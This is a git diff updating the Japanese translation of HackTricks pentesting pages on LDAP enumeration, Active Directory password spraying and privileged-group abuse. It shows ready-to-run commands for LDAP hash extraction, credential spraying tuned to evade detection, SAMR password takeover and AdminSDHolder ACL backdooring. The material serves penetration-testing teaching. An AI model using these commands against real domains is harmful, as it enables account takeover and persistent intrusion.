[https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx)から入手できます。
|
You can get it from [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
||||||
|
|
||||||
## kerberosによる認証
|
## kerberos を使った認証
|
||||||
|
|
||||||
`ldapsearch`を使用すると、**NTLM**ではなく**kerberos**に対して**認証**できます。パラメータ`-Y GSSAPI`を使用します。
|
`ldapsearch` を使用して、パラメータ `-Y GSSAPI` を指定することで、**NTLM** の代わりに **kerberos** に対して**認証**できます。
|
||||||
|
|
||||||
## POST
|
## POST
|
||||||
|
|
||||||
データベースが含まれているファイルにアクセスできる場合(_ /var/lib/ldap _にある可能性があります)、次のコマンドを使用してハッシュを抽出できます:
|
データベースが格納されているファイル(_/var/lib/ldap_ にあることがあります)にアクセスできる場合、ハッシュを抽出できます:
|
||||||
```bash
|
```bash
|
||||||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||||
```
|
```
|
||||||
あなたはjohnにパスワードハッシュを与えることができます('{SSHA}'から'structural'まで、'structural'を追加せずに)。
|
パスワードハッシュ('{SSHA}' から 'structural' まで、'structural' を追加せずに)を john に渡すことができます。
|
||||||
|
|
||||||
### 設定ファイル
|
### 設定ファイル
|
||||||
|
|
||||||
@ -322,20 +347,20 @@ cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
|||||||
- ldap-config.xml
|
- ldap-config.xml
|
||||||
- ldap-realm.xml
|
- ldap-realm.xml
|
||||||
- slapd.conf
|
- slapd.conf
|
||||||
- IBM SecureWay V3サーバー
|
- IBM SecureWay V3 server
|
||||||
- V3.sas.oc
|
- V3.sas.oc
|
||||||
- Microsoft Active Directoryサーバー
|
- Microsoft Active Directory server
|
||||||
- msadClassesAttrs.ldif
|
- msadClassesAttrs.ldif
|
||||||
- Netscape Directory Server 4
|
- Netscape Directory Server 4
|
||||||
- nsslapd.sas_at.conf
|
- nsslapd.sas_at.conf
|
||||||
- nsslapd.sas_oc.conf
|
- nsslapd.sas_oc.conf
|
||||||
- OpenLDAPディレクトリサーバー
|
- OpenLDAP directory server
|
||||||
- slapd.sas_at.conf
|
- slapd.sas_at.conf
|
||||||
- slapd.sas_oc.conf
|
- slapd.sas_oc.conf
|
||||||
- Sun ONE Directory Server 5.1
|
- Sun ONE Directory Server 5.1
|
||||||
- 75sas.ldif
|
- 75sas.ldif
|
||||||
|
|
||||||
## HackTricks自動コマンド
|
## HackTricks 自動コマンド
|
||||||
```
|
```
|
||||||
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 389,636 #Comma separated if there is more than one.
|
Port_Number: 389,636 #Comma separated if there is more than one.
|
||||||
@ -378,4 +403,10 @@ Entry_7:
|
|||||||
Name: Netexec LDAP BloodHound
|
Name: Netexec LDAP BloodHound
|
||||||
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
|
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
|
||||||
```
|
```
|
||||||
|
## 参考文献
|
||||||
|
|
||||||
|
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||||
|
- [NetExec (CME successor)](https://github.com/Pennyw0rth/NetExec)
|
||||||
|
- [Microsoft: Anonymous LDAP operations to Active Directory are disabled](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -5,16 +5,16 @@
|
|||||||
|
|
||||||
## **Password Spraying**
|
## **Password Spraying**
|
||||||
|
|
||||||
いくつかの**valid usernames**を見つけたら、発見した各ユーザーに対して最も**common passwords**を試してみてください(環境のパスワードポリシーを考慮してください)。\
|
いくつかの**valid usernames**を見つけたら、発見した各ユーザーに対して最も一般的な**common passwords**を試すことができます(環境の**password policy**を考慮してください)。\
|
||||||
By **default** the **minimum** **password** **length** is **7**.
|
デフォルトでは、**minimum** **password** **length**は**7**です。
|
||||||
|
|
||||||
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
一般的な**usernames**のリストも役立ちます: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||||
|
|
||||||
注意:複数の誤ったパスワードを試すと、アカウントがロックアウトされる**could lockout some accounts if you try several wrong passwords**可能性があります(デフォルトでは10回以上)。
|
注意:**複数の間違ったpasswordsを試すと、いくつかのアカウントがlockoutされる可能性があります**(デフォルトでは10回以上)。
|
||||||
|
|
||||||
### パスワードポリシーの取得
|
### password policy の取得
|
||||||
|
|
||||||
ドメインユーザーとしての資格情報やシェルがある場合、以下の方法で**パスワードポリシーを取得できます**:
|
ドメインユーザーの資格情報やシェルがある場合、**password policy を取得するには次を使用できます**:
|
||||||
```bash
|
```bash
|
||||||
# From Linux
|
# From Linux
|
||||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||||
@ -33,13 +33,28 @@ net accounts
|
|||||||
```
|
```
|
||||||
### Linux(またはすべて)からのExploitation
|
### Linux(またはすべて)からのExploitation
|
||||||
|
|
||||||
- **crackmapexec:** を使用
|
- 使用 **crackmapexec:**
|
||||||
```bash
|
```bash
|
||||||
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
||||||
# Local Auth Spray (once you found some local admin pass or hash)
|
# Local Auth Spray (once you found some local admin pass or hash)
|
||||||
## --local-auth flag indicate to only try 1 time per machine
|
## --local-auth flag indicate to only try 1 time per machine
|
||||||
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
|
||||||
```
|
```
|
||||||
|
- **NetExec (CME successor)** を使用した、SMB/WinRM に対するターゲットを絞った低ノイズな spraying:
|
||||||
|
```bash
|
||||||
|
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
|
||||||
|
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
|
||||||
|
|
||||||
|
# Spray a single candidate password against harvested users over SMB
|
||||||
|
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
|
||||||
|
--continue-on-success --no-bruteforce --shares
|
||||||
|
|
||||||
|
# Validate a hit over WinRM (or use SMB exec methods)
|
||||||
|
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
|
||||||
|
|
||||||
|
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
|
||||||
|
sudo ntpdate <DC_FQDN>
|
||||||
|
```
|
||||||
- [**kerbrute**](https://github.com/ropnop/kerbrute) を使用する (Go)
|
- [**kerbrute**](https://github.com/ropnop/kerbrute) を使用する (Go)
|
||||||
```bash
|
```bash
|
||||||
# Password Spraying
|
# Password Spraying
|
||||||
@ -51,12 +66,12 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
|||||||
```bash
|
```bash
|
||||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||||
```
|
```
|
||||||
- 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 推奨されません。時々動作しないことがあります
|
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) を使用 (python) - 推奨されません。場合によっては動作しません
|
||||||
```bash
|
```bash
|
||||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||||
```
|
```
|
||||||
- **Metasploit** の `scanner/smb/smb_login` モジュールを使用して:
|
- Metasploit の `scanner/smb/smb_login` モジュールを使用して:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -69,7 +84,7 @@ done
|
|||||||
```
|
```
|
||||||
#### Windowsから
|
#### Windowsから
|
||||||
|
|
||||||
- brute module を備えたバージョンの [Rubeus](https://github.com/Zer1t0/Rubeus) を使用して:
|
- [Rubeus](https://github.com/Zer1t0/Rubeus) の brute モジュール付きバージョンで:
|
||||||
```bash
|
```bash
|
||||||
# with a list of users
|
# with a list of users
|
||||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||||
@ -77,20 +92,20 @@ done
|
|||||||
# check passwords for all users in current domain
|
# check passwords for all users in current domain
|
||||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||||
```
|
```
|
||||||
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) を使用して(デフォルトでドメインからユーザーを生成でき、ドメインからパスワードポリシーを取得してそれに応じて試行回数を制限します):
|
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) を使用して (デフォルトでドメインからユーザを生成でき、ドメインからパスワードポリシーを取得してそれに従って試行回数を制限します):
|
||||||
```bash
|
```bash
|
||||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||||
```
|
```
|
||||||
- を使用して [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
|
- [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) を使用して
|
||||||
```
|
```
|
||||||
Invoke-SprayEmptyPassword
|
Invoke-SprayEmptyPassword
|
||||||
```
|
```
|
||||||
### 識別して乗っ取る "Password must change at next logon" アカウント (SAMR)
|
### 「Password must change at next logon」アカウントの特定と乗っ取り (SAMR)
|
||||||
|
|
||||||
低ノイズな手法としては、無害/空のパスワードをsprayして、STATUS_PASSWORD_MUST_CHANGEを返すアカウントを検出することがある。これはパスワードが強制的に失効しており、古いパスワードを知らなくても変更できることを示す。
|
低ノイズな手法の一つは、spray a benign/empty password を実行して STATUS_PASSWORD_MUST_CHANGE を返すアカウントを検出することです。これはパスワードが強制的に期限切れにされており、古いパスワードを知らなくても変更できることを示します。
|
||||||
|
|
||||||
Workflow:
|
Workflow:
|
||||||
- ユーザーを列挙して (RID brute via SAMR) ターゲットリストを作成する:
|
- ユーザーを列挙して(RID brute via SAMR)ターゲットリストを作成する:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
||||||
@ -99,12 +114,12 @@ Workflow:
|
|||||||
# NetExec (null/guest) + RID brute to harvest users
|
# NetExec (null/guest) + RID brute to harvest users
|
||||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||||
```
|
```
|
||||||
- Spray an empty password を試行し、hits が出ても続行して、next logon 時にパスワード変更が必要なアカウントを捕捉する:
|
- Spray an empty password を試し、ヒットが出ても続けて、次回ログオン時に password を変更する必要があるアカウントを取得する:
|
||||||
```bash
|
```bash
|
||||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||||
```
|
```
|
||||||
- 各 hit ごとに、NetExec’s module を使って SAMR 経由でパスワードを変更する("must change" が設定されている場合は古いパスワードは不要):
|
- 各ヒットについて、NetExecのモジュールを使ってSAMR経由でpasswordを変更する("must change" が設定されている場合、古い password は不要):
|
||||||
```bash
|
```bash
|
||||||
# Strong complexity to satisfy policy
|
# Strong complexity to satisfy policy
|
||||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||||
@ -113,9 +128,9 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
|
|||||||
# Validate and retrieve domain password policy with the new creds
|
# Validate and retrieve domain password policy with the new creds
|
||||||
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
||||||
```
|
```
|
||||||
運用ノート:
|
運用上の注意:
|
||||||
- Kerberos-based operations を行う前に、ホストの時計をDCと同期させてください: `sudo ntpdate <dc_fqdn>`.
|
- Kerberos ベースの操作を行う前に、ホストの時計が DC と同期していることを確認してください: `sudo ntpdate <dc_fqdn>`.
|
||||||
- 一部のモジュール(例:RDP/WinRM)で (Pwn3d!) なしの [+] は、creds が有効だが、アカウントに対話型ログオン権がないことを意味します。
|
- 一部のモジュール (例: RDP/WinRM) で (Pwn3d!) が付かない [+] は、creds は有効だがアカウントに対話型ログオン権限がないことを意味します。
|
||||||
|
|
||||||
## Brute Force
|
## Brute Force
|
||||||
```bash
|
```bash
|
||||||
@ -123,15 +138,15 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
|
|||||||
```
|
```
|
||||||
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
||||||
|
|
||||||
Kerberos pre-auth ベースのスプレーは、SMB/NTLM/LDAP バインド試行と比べてノイズを減らし、AD のロックアウトポリシーとより整合します。SpearSpray は LDAP 駆動のターゲティング、パターンエンジン、ポリシー認識(ドメインポリシー + PSOs + badPwdCount バッファ)を組み合わせ、正確かつ安全にスプレーします。また、侵害されたプリンシパルを Neo4j にタグ付けして BloodHound のパス探索に利用できます。
|
Kerberos pre-auth によるスプレーは SMB/NTLM/LDAP バインド試行と比べてノイズが少なく、AD のロックアウトポリシーとより整合します。SpearSpray は LDAP 駆動のターゲティング、パターンエンジン、ポリシー認識(domain policy + PSOs + badPwdCount buffer)を組み合わせて、正確かつ安全にスプレーを行います。侵害したプリンシパルを Neo4j にタグ付けして BloodHound のパス探索に利用することもできます。
|
||||||
|
|
||||||
Key ideas:
|
Key ideas:
|
||||||
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
|
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
|
||||||
- ドメインロックアウトポリシーと PSO 対応フィルタにより、設定可能な試行バッファ(閾値)を残してユーザーのロックを回避。
|
- ドメインのロックアウトポリシーと PSO 対応フィルタリングにより、設定可能な試行バッファ(threshold)を残してユーザのロックを回避します。
|
||||||
- Kerberos pre-auth 検証は高速な gssapi バインディングを使用(DCs では 4625 の代わりに 4768/4771 を生成)。
|
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
|
||||||
- ユーザーごとのパターンベースなパスワード生成で、名前や各ユーザーの pwdLastSet から導出される時間関連値などの変数を使用。
|
- 名前や各ユーザの pwdLastSet から導出された時刻値などの変数を使った、パターンベースのユーザごとのパスワード生成。
|
||||||
- スループット制御(スレッド、ジッター、秒あたり最大リクエスト数)。
|
- スループット制御:threads、jitter、および max requests per second による調整。
|
||||||
- オプションの Neo4j 統合で所有済みユーザーにマークを付け、BloodHound に連携。
|
- Optional Neo4j integration to mark owned users for BloodHound.
|
||||||
|
|
||||||
Basic usage and discovery:
|
Basic usage and discovery:
|
||||||
```bash
|
```bash
|
||||||
@ -144,7 +159,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
|||||||
# LDAPS (TCP/636)
|
# LDAPS (TCP/636)
|
||||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
|
||||||
```
|
```
|
||||||
ターゲティングとパターン制御:
|
ターゲティングとパターンの制御:
|
||||||
```bash
|
```bash
|
||||||
# Custom LDAP filter (e.g., target specific OU/attributes)
|
# Custom LDAP filter (e.g., target specific OU/attributes)
|
||||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
|
||||||
@ -153,7 +168,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
|
|||||||
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
|
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
|
||||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
|
||||||
```
|
```
|
||||||
Stealth と安全対策:
|
ステルスと安全対策:
|
||||||
```bash
|
```bash
|
||||||
# Control concurrency, add jitter, and cap request rate
|
# Control concurrency, add jitter, and cap request rate
|
||||||
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
|
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
|
||||||
@ -180,23 +195,23 @@ Available variables include:
|
|||||||
- Composition helpers and org token: {separator}, {suffix}, {extra}
|
- Composition helpers and org token: {separator}, {suffix}, {extra}
|
||||||
|
|
||||||
Operational notes:
|
Operational notes:
|
||||||
- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
|
- より権威ある badPwdCount とポリシー関連情報を取得するには、-dc オプションで PDC-emulator に問い合わせることを優先してください。
|
||||||
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
|
- badPwdCount のリセットは観測ウィンドウ後の次の試行で発生します。安全を保つため、しきい値とタイミングを考慮してください。
|
||||||
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
|
- Kerberos pre-auth の試行は DC のテレメトリで 4768/4771 として現れます。jitter と rate-limiting を使って目立たないようにしてください。
|
||||||
|
|
||||||
> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
|
> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
|
||||||
|
|
||||||
## Outlook Web Access
|
## Outlook Web Access
|
||||||
|
|
||||||
Outlook に対する p**assword spraying outlook** を行うためのツールはいくつかあります。
|
p**assword spraying outlook** のためのツールが複数あります。
|
||||||
|
|
||||||
- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) を使用
|
- [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) を使用
|
||||||
- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) を使用
|
- [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) を使用
|
||||||
- [Ruler](https://github.com/sensepost/ruler) を使用(信頼性あり)
|
- [Ruler](https://github.com/sensepost/ruler) (信頼性あり!)
|
||||||
- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) を使用(Powershell)
|
- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) を使用
|
||||||
- [MailSniper](https://github.com/dafthack/MailSniper) を使用(Powershell)
|
- [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) を使用
|
||||||
|
|
||||||
これらのツールを使用するには、ユーザーリストとスプレーするためのパスワード/小さなパスワードリストが必要です。
|
これらのツールを使うには、ユーザーリストとスプレーするための password または少数の password リストが必要です。
|
||||||
```bash
|
```bash
|
||||||
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
|
||||||
[x] Failed: larsson:Summer2020
|
[x] Failed: larsson:Summer2020
|
||||||
@ -227,6 +242,7 @@ Outlook に対する p**assword spraying outlook** を行うためのツール
|
|||||||
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
|
||||||
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
|
||||||
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
|
||||||
|
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -2,90 +2,90 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## 管理権限を持つよく知られたグループ
|
## 管理権限を持つ既知のグループ
|
||||||
|
|
||||||
- **Administrators**
|
- **Administrators**
|
||||||
- **Domain Admins**
|
- **Domain Admins**
|
||||||
- **Enterprise Admins**
|
- **Enterprise Admins**
|
||||||
|
|
||||||
## アカウントオペレーター
|
## Account Operators
|
||||||
|
|
||||||
このグループは、ドメイン上の管理者でないアカウントやグループを作成する権限を持っています。さらに、ドメインコントローラー(DC)へのローカルログインを可能にします。
|
このグループは、ドメイン上で管理者ではないアカウントおよびグループを作成する権限を持ちます。さらに、ドメイン コントローラー (DC) へのローカルログインを可能にします。
|
||||||
|
|
||||||
このグループのメンバーを特定するには、次のコマンドが実行されます:
|
このグループのメンバーを特定するために、次のコマンドが実行されます:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
Get-NetGroupMember -Identity "Account Operators" -Recurse
|
||||||
```
|
```
|
||||||
新しいユーザーの追加は許可されており、DC01へのローカルログインも可能です。
|
新しいユーザーの追加が許可されており、DCへのローカルログインも可能です。
|
||||||
|
|
||||||
## AdminSDHolder グループ
|
## AdminSDHolder グループ
|
||||||
|
|
||||||
**AdminSDHolder** グループのアクセス制御リスト (ACL) は重要であり、Active Directory 内のすべての「保護されたグループ」、特に高特権グループの権限を設定します。このメカニズムは、無許可の変更を防ぐことによって、これらのグループのセキュリティを確保します。
|
**AdminSDHolder** グループの Access Control List (ACL) は、Active Directory 内の高権限グループを含むすべての「protected groups」に対する権限を設定するため極めて重要です。この仕組みは不正な変更を防ぐことでこれらのグループのセキュリティを確保します。
|
||||||
|
|
||||||
攻撃者は、**AdminSDHolder** グループの ACL を変更し、標準ユーザーに完全な権限を付与することでこれを悪用する可能性があります。これにより、そのユーザーはすべての保護されたグループに対して完全な制御を持つことになります。このユーザーの権限が変更または削除された場合、システムの設計により、1時間以内に自動的に復元されます。
|
攻撃者は**AdminSDHolder** グループの ACL を変更して標準ユーザーにフル権限を与えることでこれを悪用できます。これによりそのユーザーはすべての protected groups に対する実質的な完全な制御を得ます。もしこのユーザーの権限が変更または削除されても、システムの設計上通常1時間以内に自動的に復元されます。
|
||||||
|
|
||||||
メンバーを確認し、権限を変更するためのコマンドには次のものが含まれます:
|
メンバーの確認や権限の変更に使用されるコマンド例:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
|
||||||
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
||||||
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
|
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
|
||||||
```
|
```
|
||||||
スクリプトは復元プロセスを迅速化するために利用可能です: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1)。
|
復元プロセスを迅速化するためのスクリプトが利用可能です: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
|
||||||
|
|
||||||
詳細については、[ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence)を訪問してください。
|
詳細は [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence) を参照してください。
|
||||||
|
|
||||||
## AD リサイクル ビン
|
## AD Recycle Bin
|
||||||
|
|
||||||
このグループのメンバーシップは、削除された Active Directory オブジェクトの読み取りを許可し、機密情報を明らかにする可能性があります:
|
このグループのメンバーであると、削除された Active Directory オブジェクトを読み取ることができ、機密情報が明らかになる場合があります:
|
||||||
```bash
|
```bash
|
||||||
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
||||||
```
|
```
|
||||||
### ドメインコントローラーアクセス
|
### ドメインコントローラへのアクセス
|
||||||
|
|
||||||
DC上のファイルへのアクセスは、ユーザーが`Server Operators`グループの一部でない限り制限されています。これによりアクセスレベルが変更されます。
|
DC上のファイルへのアクセスは、ユーザーが `Server Operators` グループのメンバーでない限り制限されており、その場合アクセス権のレベルが変わります。
|
||||||
|
|
||||||
### 特権昇格
|
### 権限昇格
|
||||||
|
|
||||||
Sysinternalsの`PsService`または`sc`を使用することで、サービスの権限を検査および変更できます。例えば、`Server Operators`グループは特定のサービスに対して完全な制御を持ち、任意のコマンドの実行や特権昇格を可能にします。
|
Sysinternals の `PsService` や `sc` を使うと、サービスの権限を調査・変更できます。例えば `Server Operators` グループは特定のサービスに対してフルコントロールを持っており、任意のコマンド実行や権限昇格を可能にします:
|
||||||
```cmd
|
```cmd
|
||||||
C:\> .\PsService.exe security AppReadiness
|
C:\> .\PsService.exe security AppReadiness
|
||||||
```
|
```
|
||||||
このコマンドは、`Server Operators`が完全なアクセス権を持ち、特権を昇格させるためにサービスを操作できることを明らかにします。
|
このコマンドは、`Server Operators` がフルアクセス権を持ち、サービスの操作を行って権限昇格を可能にすることを示します。
|
||||||
|
|
||||||
## Backup Operators
|
## Backup Operators
|
||||||
|
|
||||||
`Backup Operators`グループのメンバーシップは、`SeBackup`および`SeRestore`特権により、`DC01`ファイルシステムへのアクセスを提供します。これらの特権により、明示的な権限がなくても、`FILE_FLAG_BACKUP_SEMANTICS`フラグを使用してフォルダのトラバーサル、リスト表示、およびファイルコピー機能が可能になります。このプロセスには特定のスクリプトを利用する必要があります。
|
`Backup Operators` グループのメンバーであると、`SeBackup` および `SeRestore` 権限により `DC01` のファイルシステムにアクセスできます。これらの権限は、`FILE_FLAG_BACKUP_SEMANTICS` フラグを用いることで、明示的なアクセス許可がなくてもフォルダの横断、一覧表示、ファイルのコピーを可能にします。この処理には特定のスクリプトを使用する必要があります。
|
||||||
|
|
||||||
グループメンバーをリストするには、次のコマンドを実行します:
|
グループのメンバーを一覧表示するには、次を実行します:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
||||||
```
|
```
|
||||||
### ローカル攻撃
|
### ローカル攻撃
|
||||||
|
|
||||||
これらの特権をローカルで活用するために、以下の手順が使用されます:
|
これらの特権をローカルで活用するために、次の手順を実行します:
|
||||||
|
|
||||||
1. 必要なライブラリをインポートする:
|
1. 必要なライブラリをインポートする:
|
||||||
```bash
|
```bash
|
||||||
